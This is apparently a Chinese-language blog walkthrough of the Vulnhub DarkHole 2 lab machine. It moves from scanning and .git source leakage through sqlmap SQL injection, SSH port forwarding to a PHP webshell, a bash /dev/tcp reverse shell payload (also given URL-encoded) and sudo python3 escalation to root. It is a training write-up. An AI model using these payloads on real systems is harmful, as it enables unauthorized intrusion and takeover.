天天看点

Vulnhub实战-Dockhole_2靶机👻

靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/

Vulnhub实战-Dockhole_2靶机👻

hint:让我们不要浪费时间在蛮力上面!

主机发现

在kali上面扫描本地网段,发现主机IP192.168.33.88

<code>nmap -sn 192.168.33.0/24</code>

Vulnhub实战-Dockhole_2靶机👻

端口扫描

在kali中输入以下命令

<code>nmap -sS -p- -v 192.168.33.88</code>

Vulnhub实战-Dockhole_2靶机👻

我们发现开启了22,80端口,说明开启了ssh跟web服务,还记得提示嘛,让我们不要用蛮力噢。所有这里我不打算暴力破解ssh账号密码,直接看看web服务有什么线索吧。

访问ip192.168.33.88,得到如下页面:

分析页面有什么功能点,发现存在一个login页面如下:

查看页面源代码也没有发现什么有用的信息,试试目录扫描吧。

目录扫描

打开kali进入dirsearch进行目录扫描

<code>python3 dirsearch.py -u 'http://192.168.33.88' -i 200</code>

Vulnhub实战-Dockhole_2靶机👻

我们看到一堆git目录,说明存在git源码泄露,但是除了我们知道的index.php,login.php之外还出现了一个dashboard.php这个目录,我们打开看看发现不允许访问,应该做了权限验证。所有先从git源码泄露下手吧。

Vulnhub实战-Dockhole_2靶机👻

git源码下载

从上面我们看到这个页面存在git源码泄露,页面如下:

Vulnhub实战-Dockhole_2靶机👻

方法一:我们利用Githacker这个工具,将它下载到本地看看。(这里提示一下,网上很多博客说的是用Githack这个工具,但是这个工具我试了,并没有把代码完整的克隆下来,Githack只是恢复源码的最新版本,而Githacker可以将开发者的提交历史一起克隆下来并在本地重建。)

具体区别可以参考如下:https://blog.csdn.net/qq_37450949/article/details/117821102

方法二:我们也可以用<code>wget -r</code>这个命令递归下载源码下来重建,也可以下载完全。

命令如下:

<code>wget -r http://192.168.33.88/.git/</code>

接下来在kali中输入命令下载代码到本地:

<code>githacker --url http://192.168.33.88/.git/ --folder output</code>

意思是把源码下载到当前目录output文件夹

Vulnhub实战-Dockhole_2靶机👻

然后我们可以查看login.php的源码,可以看到登陆处的代码逻辑

Vulnhub实战-Dockhole_2靶机👻

接下来我们看看 git 历史日志,发现存在修改记录,第二个那里作者添加了默认凭据

<code>git log</code>

Vulnhub实战-Dockhole_2靶机👻

我们切换过去看看<code>git checkout a4d900a8d85e89</code>

Vulnhub实战-Dockhole_2靶机👻

切换历史版本之后我们再次打开login.php发现了默认的用户名密码

Vulnhub实战-Dockhole_2靶机👻

拿上用户名密码登录之后看到如下页面:

Vulnhub实战-Dockhole_2靶机👻

sql注入

我们查看了一下源码,发现没什么可利用的,最后在url处发现有个id,我们猜测这里存在SQL注入,这里比较懒,就不用手工注入了,直接上sqlmap跑一下。

我们可以看到数据库"dockhole_2",表有两个"ssh,users",看了一下users表,发现没有什么重要信息,在ssh表里面发现了一个账号密码,我们可以拿来连接ssh。

Vulnhub实战-Dockhole_2靶机👻

拿到用户名密码之后我们登录ssh:

Vulnhub实战-Dockhole_2靶机👻

进来之后我们看看是否存在具有suid权限的文件,发现不存在具有suid权限的文件。

<code>find / -perm -u=s -type f 2&gt;/dev/null</code>

Vulnhub实战-Dockhole_2靶机👻

我们再看看是否具有root权限能执行的命令,发现也没有😭

<code>sudo -l</code>

Vulnhub实战-Dockhole_2靶机👻

完了,没路了。不会走了。看看其他大佬博客他们接下来是去查看linux的定时任务文件

<code>cat /etc/crontab</code>

Vulnhub实战-Dockhole_2靶机👻

发现有一个用户losy开启了本地的9999端口,至于php -s是开启了一个网络服务器的意思。

Vulnhub实战-Dockhole_2靶机👻

我们尝试去访问9999端口,发现连接失败,那么我们就把靶机的9999端口转发到本地来访问。👻

<code>ssh -L 9999:127.0.0.1:9999 [email protected]</code>

Vulnhub实战-Dockhole_2靶机👻

然后我们在浏览器访问127.0.0.1:9999就可以访问了,我们可以看到它是让我们以GET的方式输入一个cmd参数。噢对了,刚刚还有一个目录我们看看里面是什么。里面是一个一句话木马,那就对上了。

Vulnhub实战-Dockhole_2靶机👻
Vulnhub实战-Dockhole_2靶机👻

接下来我们通过cmd参数反弹一个shell,kali监听10086端口连接。

<code>nc -lnvp 10086</code>

Vulnhub实战-Dockhole_2靶机👻

payload:<code>bash -c 'sh -i &gt;&amp; /dev/tcp/192.168.33.213/10086 0&gt;&amp;1'</code>

因为是通过GET方式执行paylaod,所以我们要先进行url编码:

<code>%62%61%73%68%20%2d%63%20%27%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%33%33%2e%32%31%33%2f%31%30%30%38%36%20%30%3e%26%31%27</code>

发送请求之后我们就连上shell了,我们可以看到用户是losy

Vulnhub实战-Dockhole_2靶机👻

我们在losy的历史命令中看到了设置的密码:gang

Vulnhub实战-Dockhole_2靶机👻

接着我们通过ssh连接上losy,看到losy能以root权限执行python3命令,所以我们自然就能想到反弹一个python3的反弹shell!😏

Vulnhub实战-Dockhole_2靶机👻

我们的kali监听10086,可以看到反弹shell已经连上了,看看权限是root权限,然后在/root文件夹下面找到了root.txt,flag就在里面!👻

Vulnhub实战-Dockhole_2靶机👻

到这里我们就结束了,成功提权到root权限了!通过干vulnhub,一天一个提权小技巧!👍

Vulnhub实战-Dockhole_2靶机👻

有什么错误或者改进意见欢迎评论或发给我噢!大家一起共同学习!大佬多指教!!!!